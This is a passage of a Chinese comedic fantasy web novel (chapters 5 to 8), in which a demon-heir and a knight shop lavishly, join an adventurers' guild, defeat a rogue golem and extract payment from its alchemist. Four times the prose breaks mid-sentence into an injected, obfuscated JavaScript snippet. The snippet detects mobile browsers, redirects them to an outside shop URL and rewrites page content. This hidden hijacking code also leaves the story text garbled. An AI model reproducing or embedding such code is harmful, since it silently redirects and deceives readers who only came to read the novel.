艾什尔单手插在毛衣口袋里，另一只手漫不经心地转着红宝石手杖，慢吞吞吊在后面：“难道不该先去商业区？考察物价，熟悉地形，顺便陶冶情操。” “那些是次要的。”亚瑟回头，一头金发在阳光下闪得人眼晕，“骑士的首要任务是确立社会定位和——” “咔哒。” 一声清脆的金属弹响截断了骑士的长篇大论。 艾什尔低头看向胸口，深红色的怀表正在微微发光。 「鉴于您手握一张即将过期的无限透支卡，而您的社交圈贫瘠得堪比地狱边缘的荒漠……宗主大人为您贴心定制了今日份成长挑战。」 怀表弹开，一束幽红色的光芒投射到半空，生成只有艾什尔能看到的文字。 【今日成长任务：钞能力社交】 「真正的魔王不需要朋友，但需要死心塌地的追随者。而在这个俗气的物质世界，金钱是通往友谊的高速路。」 任务对象：亚瑟·布雷克特。 资本主义的铁拳：进行三次让他“三观崩塌”、“瞳孔地震”、“怀疑人生”的消费行为。 成功奖励：任务结算时发放。 失败惩罚：接下来24小时里全自动循环播放您五岁那年背诵《我是地狱小太阳》的录音。无修音原版，含跑调部分。 艾什尔盯着那行惩罚条款，嘴角抽搐了一下。 “那段录音我十二岁时就亲手销毁了，我亲眼看着它被格式化的。” 「数据是有备份的，少爷。就像您的烂桃花运一样，永远切不断，理还乱。」 “怎么了？”亚瑟停下脚步回头，“你盯着那块怀表发呆好一会儿了。” “没什么，家里人的叮嘱。”艾什尔收起怀表，露出一个意味深长的笑，“对了，你说要去冒险者公会是吧？我有个提议。” “什么提议？” “去消费，我买单。” 亚瑟皱起眉头：“我们是来执行任务的，不是来购物——” “听我说，骑士先生。”艾什尔打断他，手杖轻点地面，“我们对这里一无所知。物价几何？货币汇率？经济体系？这些都是最基础的情报。与其去公会接收二手信息，不如直接去市场，亲眼看，亲手摸，亲口问。” 他顿了顿，又重复道：“更何况，所有开销算我的。” 亚瑟陷入了纠结。 正义的骑士习惯了依靠双手换取所需，白白接受他人恩惠让他浑身难受。 “这……” “就当是情报收集费用，或者你可以理解成……异界勇者的团建活动？” 他说着，已经迈开步子朝着皇宫大门外的石板大道走去。 …… 琥珀大道是索拉利姆最繁华的商业中心，街道宽阔得足以容纳四辆马车并行，地面铺设着平整的白云石，每一块石板的缝隙间都流淌着微弱的净化魔力，确保街道永远纤尘不染。 亚瑟走在艾什尔身侧，一身骑士甲胄英勇非凡，然而他的表情却僵得厉害。 因为艾什尔正在进行一项名为“无差别扫货”的恐怖活动。 “那个，把那个镶嵌了风暴魔核的护腕给我包起来。什么？要经过公会认证？我有这个。” 艾斯尔将白金钻卡拍在柜台上，那名原本拿鼻孔看人的店员在看到卡片的瞬间，瞳孔地震，当即整个人像是被魅惑了一般，脸上露出梦幻般的微笑。 “当然……当然，尊贵的客人。这是全世界最合理的交易……规矩是死的，但您的意志是活的……” 店员手脚麻利地将那对标价四千五百金币的魔法道具打包，双手高举奉上。 “拿着，送你了。”艾什尔随手将那个精美的黑天鹅绒盒子抛向后方。 亚瑟手忙脚乱地接住，一脸惊愕：“送……送我？这也太贵重了！这是秘银注魔的装备，而且我刚才看到标价是——” “战备物资。”艾斯尔打断了他，语气轻松，“加敏捷和攻速，很适合你这种冲锋在前的肉盾。毕竟你活得越久，我越安全。” 亚瑟张了张嘴，试图反驳，但装备的实用性实在无法拒绝。 他别扭地低声挤出一句：“……谢了。这份人情我会还的。” “不用客气，这才哪到哪。” 艾什尔已经转身走向对面的炼金工坊。 “老板！把这柜台里所有的高级恢复药剂都包起来！还有那瓶挂在墙上的龙血精粹……对，就是那个标价八千金币的，也给我拿下来！” “全……全都要？”矮人店员结结巴巴地问，“这……这大概需要……两万……不，三万金币……” “刷卡。” 手指轻弹，白金卡发出一声清脆的嗡鸣。 矮人脑海中响起了神圣的福音。那是金币雨落下的声音！是财富之神的低语！ 他看着艾什尔的眼神瞬间变了，不再是盯着肥羊，而是在瞻仰一位降临人间慷慨布施的圣徒！ “没问题！没问题！伟大的、慷慨的、英俊的少爷！” 亚瑟杵在门口，看着艾斯尔像买大白菜一样搬空货架，脸上终于露出了彻底的茫然。 “……这就是异界的顾问吗？”他喃喃自语，“到底是哪来的经费？” 艾什尔回头扫了一眼已经石化在原地的骑士，耸耸肩。 “别这副表情。如果完不成指标，我会被家里那个老头子唠叨死的。你就当是在救我的命。” 亚瑟张了张口，想输出关于节俭之类的骑士美德，但面对堆成小山的物资，任何语言都显得苍白无力。 “你……”骑士憋了半天，眼神复杂，“你到底想干什么？收买我们？” “建立羁绊。”艾斯尔纠正道，顺手指向前方的裁缝铺，“最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193805|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一家。我也得给自己置办点行头，不然这件毛衣真的会让我成为社交圈的笑话。” 亚瑟叹了口气，认命地跟上去，彻底沦为毫无感情的搬运工。 裁缝店里，艾斯尔再次展现了神豪本色。 他看都没看架子上的成衣，直接指着柜台深处被玻璃罩住的一卷布料。那布料并不耀眼，却像把一片深冬的夜空剪裁下来卷成了轴。 “那是什么？” “那是星纹蛛丝，先生。”戴着单片眼镜的老绅士店长语气矜持，甚至带着点对不懂行者的轻慢，“每一匹三千金币，且非伯爵以上爵位——” “啪。” 白金钻卡拍在了玻璃柜上。 “包圆了。给我做套法师袍，剩下的料子给这位骑士做披风。加急，现在就要。” 老店长的单片眼镜滑落了一半，眼神瞬间变得迷离而狂热：“……遵命，尊贵的阁下。这是何等合理的请求……我们会立刻动用时间加速法阵为您赶制……” 亚瑟扛着一堆名贵的布料和炼金材料，看着正在被三个裁缝围着量尺寸的艾斯尔，终于忍不住摇了摇头，嘴角却露出了一丝无奈的笑意。 “……虽然不知道你的底细，但至少，你是个大方的怪人。” …… 艾什尔站在巨大的魔法穿衣镜前，打量自己的新造型。 星纹蛛丝的高定法师袍确实物有所值。深邃如夜空的底色上，流淌着肉眼难以捕捉的暗银色符文，走动间如星云生灭。 最关键的是，这件法师袍采用了空间折叠剪裁技术，完美地将红绿相间且臃肿不堪的炼狱羊毛衫掩盖在了优雅的轮廓之下。 虽然艾什尔能感觉到羊毛衫上的小恶魔正在愤怒地用角顶他的肋骨以示抗议。 他推开更衣室的门。 亚瑟立于店堂中央，一件滚着金边的深红天鹅绒披风压在银白甲胄之上。 那位精明的店长深谙配色美学，并没有直接使用剩下的星纹蛛丝作为面料，而是将其奢侈地用作了披风的内衬。 听到开门声，骑士转过身。天蓝色的眼睛里闪过一丝毫不掩饰的惊艳。 “不得不说，克劳利……”亚瑟上下打量着他，语气诚恳，“这身行头比那件……嗯，那件极具个性的毛衣，更符合一位帝国皇家顾问的身份。现在的你看起来就像是从古老法师塔里走出来的年轻贤者。” “多谢夸奖。而你也更像一位随时准备冲锋陷阵的勇者了，骑士阁下。” “再次感谢你的慷慨。”亚瑟有些不自在地抚摸充满金钱味道的披风，“虽然我还是觉得这份礼物太过贵重。” “咔哒。” 艾什尔胸口的怀表震动了一下。 「检测到关键台词：感谢。检测到情绪波动：惊艳与人情债的压力。」 「恭喜少爷，您成功用金钱腐蚀了一位正直骑士的灵魂……我是说，建立了一段坚实的友谊。奖励已入库，请查收。」 艾什尔不动声色地按了按怀表，心情瞬间变得比索拉利姆的阳光还要灿烂。 “走吧，亚瑟。去见识见识那个传说中的冒险者公会。” 5. 第一步找猫，第四步杀魔王 索拉利姆的冒险者公会并不是克莱尔想象中那种充满汗臭，甚至还有几只地精在桌底下呕吐的低端酒馆。 恰恰相反，眼前这座建筑宏伟得像座银行总部。 五米高的橡木双开大门上方悬挂着剑与盾的公会徽章，进出的人群装备精良，偶尔还能瞥见几个身着法袍的施法者。 艾什尔和亚瑟推门而入。 大厅里的嘈杂声短暂地低落了几个分贝。 目光中有惊艳的、有好奇的、也有隐隐带着窥探的。亚瑟眉心微蹙，侧过身，不动声色地将艾什尔挡在身后半步。 “习惯了，”艾什尔眼皮都不抬，“从小被盯着看到大。” 大厅内部极其宽敞，穹顶高达二十米，悬挂着巨大的魔法吊灯。左侧是任务发布区，整面墙上贴满了密密麻麻的羊皮纸委托，不少冒险者正挤在那里指指点点。 右侧则是一个小型的酒吧和休息区，充满了碰杯声和吹牛声。 正中央是一长排接待柜台，几十名身穿制服的职员正忙得不可开交。 “去那边。”艾什尔用手杖指了指柜台角落，挂着“注册/评级”牌子。 柜台后坐着一位看起来有些疲惫的半身人女性，她机械地在一堆文件上盖章。察觉到有人走近，头都没抬，熟练地递出两张表格。 “姓名、种族、职业。填完去那边的水晶球做魔力测试。如果不识字，十个铜币代写。下一个。” 亚瑟愣了一下，没料到待遇如此冷淡。皇宫里的每个人对他们这些异界勇者都是毕恭毕敬的，这待遇落差有点大。 他接过表格，却发现纸上像蚯蚓爬一样的文字一个也不认识。 “这……”骑士团长有些尴尬地看向身边的同伴。 艾什尔自信地接过表格。 “放心，作为接受过高等教育的精英……” 他的话卡在了一半。 身为地狱的高材生，艾什尔精通地狱语、古龙语甚至天界语。然而很遗憾，艾瑟利亚世界通用语不在他的必修课表里。 艾什尔不动声色地在心里呼叫外援：“阿福，我要是问你这上面写的什么，你会嘲笑我吗？” 「少爷，作为您的全能管家，我受过严格的职业训练。除非实在忍不住，否则我一般不笑。」 「已为您开启实时翻译字幕。顺便提醒您，文盲在任何世界都是受歧视的群体，建议尽快学习。」 陌生的鬼画符在艾什尔眼中自动重组成了熟悉的文字。 “咳，不用代写。”艾什尔维持着优雅的假象，然后从法师袍里掏出一支刚才顺手买的售价一千金币的羽毛笔。 笔杆是一根完整的凤凰翎羽，笔尖还跃动着恒定且不烫手的魔法火苗。光是这支笔，就抵得上这大厅里绝大多数人一年的收入。 笔一亮相，那位半身人接待员的眼睛亮了。 “抱歉，尊贵的法师大人。”她的态度瞬间来了个一百八十度大转弯，脸上堆起了职业化的假笑，“欢迎加入冒险者公会。请问二位是有推荐信，还是直接进行能力评定？” “直接评定。” 艾什尔笔走龙蛇，迅速帮自己和亚瑟填好了表格。 亚瑟·布雷克特，人类，战士。 艾什尔·克劳利，人类，顾问。特长栏里，他龙飞凤舞地写下了“讲道理”三个字。 半身人接过表格，指了指柜台旁的一块巨大的透明水晶：“请依次将手放在上面，输入魔力、斗气、精神力、原力、或是什么其他稀奇古怪的力量。水晶会给出公正的初始评级。” 亚瑟率先走上前，脱下右手的手套，将布满茧的手掌按在水晶表面。 “嗡——” 水晶瞬间爆发出耀眼的金光，光芒中隐约浮现出一柄圣剑的虚影。整个大厅的嘈杂声都因这异象为之一滞。附近的几个老冒险者纷纷转头，神色惊讶。 “初始判定A级！极高纯度的神圣属性！还有破魔特质？” 周围倒吸凉气声一片。A级，那可是能单挑高阶魔物，放在任何国家都是骑士团长级别的战力。 亚瑟收回手，光芒散去。他神色平静地退回艾什尔身边，压低声音：“到你了。别太勉强，尽力就好。就算没有魔力反应也没关系，我会保护你的。” 显然，在他心里，这位异界同伴是个虽然有钞能力但手无缚鸡之力的文职人员。 艾什尔挑了挑眉。 “阿福，听见了吗？我被一只人类当成需要呵护的易碎品了。” 阿福的声音在脑海中响起：「少爷，我知道您很上演一出打脸戏码。但直接暴露您的真实数值可能会吓坏这台可怜的水晶球，顺便把异端审判庭招来。」 “那就……压制到A级水准好了。”艾什尔站在水晶球前，漫不经心地伸出手，“太弱了会被当成杂鱼，太强又要被抓壮丁。我要做一个平平无奇的天才。” 「明白，输出功率限制。您现在看起来就是一个魔力充沛、前途无量，但又没有强到让人怀疑您是魔王转世的天才人类法师。顺便，我把您的魔力属性调成了火，毕竟那件毛衣的的硫磺味实在太冲了。」 艾什尔的手指触碰到水晶。 “轰！” 与其说是光芒，不如说是一团赤红色的火焰骤然在水晶内部炸开。狂暴的火元素像是有了意识在水晶里横冲直撞，最后竟溢出一缕硫磺味。 水晶发出吱嘎脆香，裂纹在内部蔓延。 “……这、这是……”半身人接待员慌乱地扶住眼镜，“极高浓度的火元素亲和！但这波动太不稳定了，简直像座随时喷发的活火山！” 她吞了口唾沫，遗憾地看着手中的记录板：“两位的魔力反应甚至超过了许多A级冒险者，但根据公会的硬性规定，新人必须从低级累积信用。” 两枚崭新的黄铜徽章被推了出来。 “鉴于两位的实力，条例允许破格授予C级徽章。虽然只是黄铜牌，但我相信两位很快就会换上秘银甚至精金的。” “谢谢。” 亚瑟接过徽章，郑重地别在胸前的披风扣上，他对这个结果挺满意。 “C级，个不错的起点。我们可以直接跳过那些清理下水道的老鼠的任务了。” 两人走向公告板。上面贴满了各式各样的羊皮纸，有的已经泛黄，有的墨迹未干。 亚瑟盯着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193806|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些鬼画符般的异界文字，陷入了沉默。艾什尔也盯着看了一会儿，但他有外挂。 “阿福，翻译。” 「遵命，文盲少爷。」 【B级：调查城郊废矿坑的异响】 简报：西郊废矿坑频发地震，有目击者称看到幽蓝色的鬼火，怀疑有亡灵生物聚集。 目标：查明震源，清理矿坑入口，带回证据。 报酬：20金币 【D级：寻找“公爵”】 简介：我可怜的“公爵”（白色波斯猫，戴镶钻项圈）在商业区走丢了！它只吃顶级三文鱼罐头。 目标：完好无损带回猫咪。 奖励：5银币 【S级：讨伐深渊领主投影】 简介：塞拉维恩城急报，黑石下城出现高阶深渊波动。疑似领主级魔物试图构建传送门。 目标：摧毁传送门核心，击退投影。 奖励：15000金币+荣誉爵位 听完艾什尔的复述后，亚瑟眉头紧锁：“深渊领主……哪怕只是投影，也是Lv18甚至更高的存在。现在的我们去就是送死。” “非常理智。”艾什尔靠在公告板旁，视线扫过大厅里形形色色的冒险者。 “不过，亚瑟，你有没有想过，解决问题的顺序，有时候比问题本身更重要。” 他指着那个找猫的任务。 “比如，我们可以先接下这个找猫的任务。然后在寻找猫的过程中，‘偶然’发现猫其实是被某个走私团伙抓走的，进而‘顺手’端掉了一个通过下水道向城外废矿坑运送物资的据点，最后‘不小心’发现了废矿坑深处其实藏着一个深渊祭坛……” 亚瑟目瞪口呆：“……你的想象力是不是太丰富了？” “经验之谈，我的朋友。经验。” 艾什尔故作玄虚地眨了眨眼。毕竟在地狱，这种套娃式阴谋是日常必修课。 那群没事找事的勇者总是因为帮村民找东西这类破事，最后一路杀到魔王城。 当——当——当—— 急促的钟声打断了谈话。大厅瞬间死寂。 “紧急任务！郁金香大道突发状况！一只失控的炼金巨像冲出了工坊，正在向主干道移动！这不是演习！所有B级以上冒险者立即支援！” 亚瑟的手瞬间按在了剑柄上，眼里燃起了战意：“这也是你经验的一部分吗？” “不，这叫墨菲定律。” “墨菲定律？”亚瑟特重复了一遍这个陌生的词汇。 虽然没听懂，但他本能地从艾什尔那副“我就知道会这样”的表情里读出了某种无奈的宿命感。 “意思就是麻烦事总会挑你最不想动弹的时候找上门。” 两人冲出公会大门。 都不需要询问路人，远处腾起的黑烟和地面的震动就是最好的路标。郁金香大道此刻已经乱成了一锅粥。摊贩们推着车疯狂逃窜，烂番茄和碎鸡蛋铺满了石板路。 “等等，艾什尔！我们需要制定战术——” “战术就是跑得比倒霉鬼快！” 艾什尔一边喊，一边灵活闪过一个抱着鹅狂奔的大妈。 6. 顾问的武器是保温杯 两人转过街角，那个大块头终于出现在视野中。 三层楼高的钢铁巨兽，浑身黄铜与秘银拼接，关节处喷涌着滚烫的白色蒸汽。它的右臂是一柄旋转的攻城钻头，左臂则挂着连发弩炮。此刻它正机械地挥舞钻头，把一家魔法香水店的店门像撕纸片一样扯得粉碎。 亚瑟拔出了腰间的「圣剑·黎明使者」。剑身出鞘的瞬间，一道纯净微光驱散了周遭的浓烟。 “我正面牵制它，限制它的移动。你是法师，找机会攻击它的核心！” “战术合理。不过纠正一点，我是顾问。顾问通常不动手，只动嘴。偶尔动用一点……教具。” “随你便！掩护我！” 亚瑟大喝一声，披风在身后扬起。他没有莽撞冲锋，而是压低重心，摆出骑士冲锋的标准姿态。 巨像虽然看着笨重，机械结构的反应速度却快得吓人。它锁定拔剑的亚瑟，判定其为高威胁目标。 “排除……障碍！” 刺耳的轰鸣声中，巨大的钻头右臂裹挟着呼啸劲风横扫而出，路边的灯柱被齐根斩断，余势不减地砸向亚瑟。 “太慢了！” 亚瑟在千钧一发之际侧身滑步，钻头带起的狂风吹乱他的金发，却没伤到他分毫。他甚至还有余力在滑步的同时调整姿态，手中的圣剑爆发出耀眼的光芒。 借着惯性，整个人化作一道闪电，反身突刺。 圣剑刺入巨像裸露的左膝关节。金色剑气炸裂，直接崩断一根主要的管道。 巨像庞大的身躯猛地一歪，那条腿的关节处喷涌出机油。 “艾什尔！就是现在！”亚瑟大喊。 “这年头，做个优雅的顾问真难。” 艾什尔掂了掂手里的「无限续杯的多喝岩浆保温杯」。 印着“好好学习”烫金大字的保温杯脱手而出，在空中划出一道弧线，不仅完美避开了巨像挥舞的手臂，甚至还利用了蒸汽喷射的气流进行了一次不符合物理学的变向。 “当——！！！” 保温杯如同一枚微型导弹，不偏不倚地砸在了巨像右脚小脚趾，也就是那根负责支撑平衡的关键液压杆连接处。 连接点应声断裂，紧接着，庞大的身躯向右侧倾斜，失去平衡的巨脚重重踩进一旁的下水道井口。 “就是现在，亚瑟。”艾什尔接住弹回来的保温杯，淡定地拧开盖子喝了一口热豆浆。 战机稍纵即逝，亚瑟没空吐槽这离谱的攻击方式。 “结束了！” 骑士高高跃起，圣剑裹挟着裁决辉光，狠狠刺入巨像的红色核心。 “轰——” 闷响过后，巨像眼中的红光熄灭，彻底沦为一堆废铜烂铁。 亚瑟收剑入鞘，犹豫片刻，还是忍不住看向艾什尔：“刚才那一下……你是怎么做到的？那种距离，预判关节弱点……” 艾什尔神秘地笑了笑，晃了晃手里的保温杯。 “只要找对位置，有时候一个杯子比一把圣剑更管用。这就叫，杠杆原理。” 阿福冷漠的声音在他脑海里拆台：「少爷，您刚才瞄准的明明是它的核心。风偏修正计算错误，导致落点偏移了5米。不过结果尚可，建议保持这种‘一切尽在掌握’的高深莫测。」 艾什尔在心里默默给阿福竖了个中指。 “不管怎么说，虽然结局有些，呃，潦草，但至少没有造成平民伤亡，就是最好的结果。” 亚瑟还没来得及松口气，那堆废铁里头传出了一声不对劲的嗡鸣。 “不对，这声音——” 他话还没说完，巨像残骸的腹部突然迸发出一道刺目的白光。浓缩到极致的纯粹能量在疯狂膨胀，像是在里塞了一颗小太阳。 “快趴下——！！” 亚瑟的反应快到了极致。 几乎是光芒亮起的瞬间便，手中的圣剑插入地面，身体本能地挡在了艾什尔和后方的人群前。 「圣域·光辉壁垒」 神圣辉光毫无保留地爆发。银白甲胄仿佛在光芒中融化，在他身后交织成一对光之羽翼。 “轰——！！！” 刺目的白色光球吞噬了巨像的残骸，毁灭性的冲击波撞上光盾。 亚瑟咬紧牙关，双臂死死抵住剑柄，鲜血顺着他的嘴角溢出。金色的光幕在冲击波的肆虐下剧烈颤抖，但他一步未退！ 他虽能挡得住冲击波，挡不住随之而来的高温炼金火焰。 看着足以融化钢铁的火海即将拍在骑士脸上，艾什尔叹了口气。 “真是的……能不能让人保持低调了？” 他微微抬起左手，对着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193807|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团极速膨胀的恐怖火海，做了一个简单的抓取手势。 “稍微，安静一点。” 那一刻，世界仿佛被按下了静音键。 从艾什尔的指尖流淌而出的不是普通的火，而是来自九层地狱最底层，连灵魂与法则都能焚烧的至高之炎。 “跪下。” 轻描淡写，艾什尔手掌地向下一压。 狂暴的炼金火焰被暗红色的地狱火强行包裹、吞噬，所有光与热在瞬间坍缩。 “噗。” 就像是一根蜡烛被掐灭，漫天火海、致命热浪、足以夷平街区的能量，凭空蒸发。 只剩下一颗还在冒着青烟的暗红色晶体落在艾什尔掌心。 他收回手，反手将将这颗危险的能量结晶扔进保温杯里。 咔哒。 一切发生得太快，从爆炸发生到熄灭，前后不过两秒。 亚瑟仍维持着单膝跪地，双手撑剑的姿势。全身肌肉紧绷，甚至做好了被高热重创的觉悟。 但预想中的热浪和冲击没有到来。 他缓缓睁眼。 艾什尔站在不远处，漫不经心地拍了拍法师袍上的烟尘，拧开保温杯仰头灌了一口。 “这天气，确实有点燥热。”他咂了咂嘴，像是对刚才发生的一切毫无知觉。 亚瑟那张英俊的脸上，表情从决绝、错愕，逐渐变成了呆滞，最后定格在三观重塑后的茫然上。 “叮。” 艾什尔怀里的怀表突然震动了一下。 「恭喜少爷。今日任务超额完成。检测到目标对象亚瑟·布雷克特产生崇拜、敬畏及自我怀疑等复杂情绪。额外奖励已入库。」 艾什尔收起那副冷酷的大佬做派，换回标志性的慵懒假笑，走到亚瑟面前伸出手。 “还愣着干嘛？地上凉，骑士先生。还是说，你在向我完美的施法姿态顶礼膜拜？” 亚瑟看着那只手，那只刚刚轻描淡写捏碎了灾难的手。 这一次，他没有丝毫犹豫，握住，借力站了起来。 “艾什尔……” 骑士深吸了一口气，神色郑重地站直身体，收起圣剑，右手抚胸，行了一个标准的骑士大礼。 “感谢你挽救了这片街区，也挽救了我的失职。我，亚瑟·布雷克特，欠你一次命。” 7. 含泪血赚五千金币 直到这时，远处才传来靠近的脚步声。大队城卫军和几名气喘吁吁的炼金公会术士终于姗姗来迟。 “在那边！快！” “天哪……那是探索者原型号？居然被摧毁了？” “善后工作又是一堆烂摊子。”艾什尔压低声音，侧身凑近亚瑟，“对了，如果有谁问起刚才那道不合常理的火……” “我的圣剑有一项隐藏能力，危急时刻可以释放高温圣焰，焚尽邪恶。” 亚瑟面不改色地接过了话茬。 艾什尔怔了一瞬，随即唇角上扬。 “合作愉快，亚瑟。” “合作愉快，艾什尔。” 卫兵队长大步走来，目光在艾什尔身上停了片刻，鼻翼翕动，空气里飘着股不知来源的硫磺味。 “二位是？” “热心市民，兼职冒险者。”艾什尔扬起一个无辜的笑，“刚办完注册手续出门散步，就遇到这坨发疯的铁疙瘩。” 卫兵队长扫了眼艾什尔那身价值不菲的法师袍，又看了看亚瑟一身银白甲胄，眉头微微皱起。 “能证明你们的身份吗？” 亚瑟从摘下刚拿到手还没捂热的冒险者徽章，递了过去。 “C级？”对方接过徽章看了看，语气里带着几分狐疑，“能在这种情况下全身而退，还真是走运。” “我的原型机！我的数据！我的经费啊——！” 凄厉的嚎叫声打断了盘问。 一个留着山羊胡的中年炼金术师踉跄跑来，跪倒在废铁前，双手颤抖地抚摸着断裂的管道，随即猛地抬头，双眼赤红。 “谁？是谁干的？！是你吗？那个拿着发光牙签的铁皮罐头？你知道这台原型机造价多少吗？把你卖了一百次都赔不起！” 周围的卫兵面面相觑，没人敢插嘴。 毕竟众所周知，炼金术师公会可是最财大气粗不好惹的。 亚瑟·布雷克特，这位异界王国最年轻的骑士团长，生平头一遭被人指着鼻子骂作“铁皮罐头”。他愣了愣，正要开口以保护平民之类的正当理由进行辩驳。 “嘘。” 一只戴着黑色小羊皮手套的手搭上亚瑟的肩甲，轻描淡写地压下了他的话头。 艾什尔向前一步。 星纹蛛丝法师袍在微风中鼓荡，隐没其中的符文流转暗光。他一手拄着红宝石手杖，一手端着刚立了大功的保温杯，优雅得就像是刚从皇家剧院散场出来的贵族绅士。 “看看这个，先生。这是十分钟前我才从银丝雀裁缝店取出来的定制款。您知道星纹蛛丝一旦断裂，修复所需的魔力折算成金币是多少吗？更别提我这颗脆弱心灵受到的惊吓。” 炼金术师被这突如其来的反客为主噎住了。 他推了推滑落的眼镜，视线被艾什尔那身充满金钱气息的行头晃了一下，气势不由自主地矮了半截。 “咳，这位法师阁下，虽然我很遗憾您的损失，但这台巨像的造价——” “您是想和我讨论造价？” 艾什尔用手杖轻轻敲了敲地面，发出清脆的笃笃声。 “还是想讨论一下，这台失控机器拆了大半条商业街，差点把方圆五百米内的所有生物变成烤肉，您所需要赔偿的金额？” 手杖抬起，指向不远处的街区尽头。 “如果不幸让这个大家伙再往前走两百米，伤到住在那里的贵族老爷们……” 艾什尔俯下身，笑容和煦。 “您觉得，那时候炼金术士师公会，还会不会保您的脑袋？” 炼金术师的脸色瞬间变得惨白。 艾什尔给了亚瑟一个“配合我”的眼神，然后长叹一口气，从怀里掏出那张崭新的冒险者徽章。 “我们不想惹麻烦，先生。我们只是做了每个有良知的冒险者都会做的事。但是……” 他指了指自己身上昂贵的星纹蛛丝法师袍，又指了指亚瑟那身沾满油污与尘土的铠甲。 “正义是有价码的，总不能让我们流血流汗之后，还要自掏腰包修补装备，您说对吧？” 亚瑟握拳抵在唇边，有些不自在地咳嗽了两声。这种市侩的讨价还价让他颇感不适，但骑士的诚实让他无法否认艾斯尔的话。 “……确实，圣剑的维护费用不低。而且，刚才那一下撞击震得我现在还耳鸣。” 炼金术师擦了一把额头的冷汗，飞速盘算利弊。 巨像报废已成事实，追责在所难免。但如果把事情闹大，他在公会的前途就彻底完了。 反过来，如果能把这桩事故定性为冒险者协助测试并成功止损，或许还能挽回几分颜面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193808|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……好吧，好吧。”炼金术师咬了咬牙，从怀里掏出一本支票簿，“为了表彰两位在原型机动能测试中的……英勇表现，在下愿意承担两位的装备维修费用，以及，一点小小的误工补贴。” 艾斯尔用两根手指极其优雅地夹住那张薄薄的纸片，快速扫了一眼上面的数字：5000，嘴角微微上扬。 “非常公道，先生。您成功救了炼金术师公会的声誉。我相信，这场‘测试’会成为您履历上光辉的一笔。” 亚瑟全程旁观这套行云流水的操作，直到两人走出人群，拐进一条僻静小巷，这位正直的骑士才终于憋不住开口。 “我们真的就这样勒、勒……” 说出这两个字时，他有些虚心，眼神飘忽。 “勒索走了五千金币？这在我的骑士团够半年的装备维护预算了。” “这不叫勒索，这叫精神损失费与危机公关咨询费。” 艾什尔停下脚步，回头看着一脸纠结的骑士。 “换个角度想，如果我们不收这笔钱，那位炼金术师今晚绝对睡不着觉。他会担心我们去投诉，或者把这事捅给他的竞争对手。收了钱，就代表契约达成，此事翻篇。我是在帮他买个心安。” 亚瑟沉思，最终发现自己竟然找不到逻辑漏洞。 “二一添作五，两千五百金币。足够你给那把圣剑做个全套大保健，再换一身新铠甲。” 亚瑟下意识想要推辞：“不，这主要是你的功劳。而且那个法师袍的修补费确实很贵。” “拿着吧，亚瑟。我知道你有你的骑士守则，但骑士也是人，也得吃饭修装备。” “如果你觉得这钱烫手，那就让它流向更需要的地方，比如接济一下那些在那场爆炸中受损的小商贩？” 亚瑟沉默了两秒，然后郑重地点了点头。 “你说得对。我会用这笔钱成立一个临时基金，帮助那条街的受害者重建。” 他的眼神重新变得坚定。 “谢谢你，艾什尔。我会以你的名义去行这些善事，大家会感谢你的。” “别，千万别。” 艾什尔一脸惊恐，连连摆手。 “做好事不留名是我的座右铭。要是传出去让别人知道我这么有爱心，我还怎么在地狱……咳，在复杂的名利场里混？” 8. 第一单委托 酒馆里人声嘈杂，空气中飘着麦芽发酵的香气和烤肉滋滋冒油的焦香，直往鼻孔里钻。 艾什尔与亚瑟点了一瓶龙息白兰地，举杯相碰。 “敬我们在这个世界的第一桶金。” “敬意外之财。” 亚瑟苦笑着仰头一饮而尽。 这位骑士显然没什么酒量，一口烈酒灌下去，脸颊腾地烧红。他剧烈咳嗽起来，一小团火苗从鼻孔里喷了出来，惹得周围几桌纷纷侧目。 “咳咳……这酒……够劲！”亚瑟拍着胸口，笑得有些失态，“跟被那个巨像的蒸汽又喷了一回似的！” “这才哪到哪。” 艾什尔给自己又斟了一杯。 其实他更想喝保温杯里的熔岩豆浆，但在这种场合，为了维持深不可测的神秘法师人设，只好做做样子。 